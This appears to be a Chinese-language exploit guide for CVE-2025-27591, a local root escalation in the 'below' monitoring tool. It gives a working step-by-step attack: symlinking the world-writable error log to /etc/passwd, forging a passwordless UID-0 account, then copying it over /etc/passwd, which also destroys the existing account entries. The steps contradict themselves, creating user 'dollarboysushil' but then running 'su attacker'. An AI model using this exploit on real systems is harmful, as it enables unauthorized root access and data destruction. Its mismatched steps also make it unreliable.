CVE-2025-27591 - 通过 below 中的可写符号链接进行权限提升

概述

这是针对 CVE-2025-27591 的一个简单漏洞利用程序，该漏洞是 below Linux 系统监控工具中的一个本地权限提升漏洞。该漏洞影响 v0.9.0 之前的版本，根源在于系统中不正确的权限分配。该问题于 2025 年 1 月被发现，并于 2025 年 3 月 12 日公开披露（SecurityOnline、OpenWall）。当 below 通过 sudo 运行时，它可能会将错误日志写入一个全局可写目录（/var/log/below），从而使攻击者能够将日志文件符号链接到敏感目标（如 /etc/passwd）。

通过利用此漏洞，拥有 below 的 sudo 访问权限的非特权用户可以将权限提升至 root。

漏洞详情

• CVE 编号：CVE-2025-27591
• 受影响工具：below
• 受影响功能：通过 below record 记录日志
• 漏洞路径：/var/log/below/error_root.log
• 攻击前提条件：
  • 目录 /var/log/below 是全局可写的
  • 攻击者可以在无需密码的情况下运行 sudo /usr/bin/below record

利用步骤（手动）

✅ 第 1 步：确认日志目录为全局可写 你应该会看到：

drwxrwxrwx 2 root root 4096 ... /var/log/below

✅ 第 2 步：删除任何现有的 error_root.log

rm -f /var/log/below/error_root.log

✅ 第 3 步：创建指向 /etc/passwd 的符号链接

ln -s /etc/passwd /var/log/below/error_root.log

然后使用以下命令检查：

ls -la /var/log/below/error_root.log
# should show: error_root.log -> /etc/passwd

✅ 第 4 步：创建载荷文件 这将添加一个名为 attacker 的新 root 用户，且无需密码：

echo 'dollarboysushil::0:0:dollarboysusil:/root:/bin/bash' > /tmp/payload

文件结构

username:password:UID:GID:comment(home/full name):home_directory:shell

这里的关键是 UID 和 GID 我们将 UID 和 GID 设置为 0，使其成为 root 用户，并且组 ID = root 组

✅ 第 5 步：以 root 身份触发日志写入 这是漏洞利用的核心。

sudo /usr/bin/below record

该命令预计会失败或超时——但它会尝试将错误日志写入 /var/log/below/error_root.log，而该文件实际上是 /etc/passwd。 💡 在某些情况下，仅此操作就可能损坏 /etc/passwd——因此接下来我们会完全覆盖它。

✅ 第 6 步：通过符号链接覆盖 /etc/passwd

cp /tmp/payload /var/log/below/error_root.log

✅ 第 7 步：成为 root

su attacker

你将进入一个 root shell，无需密码。

利用步骤（自动）

python3 dbs_exploit.py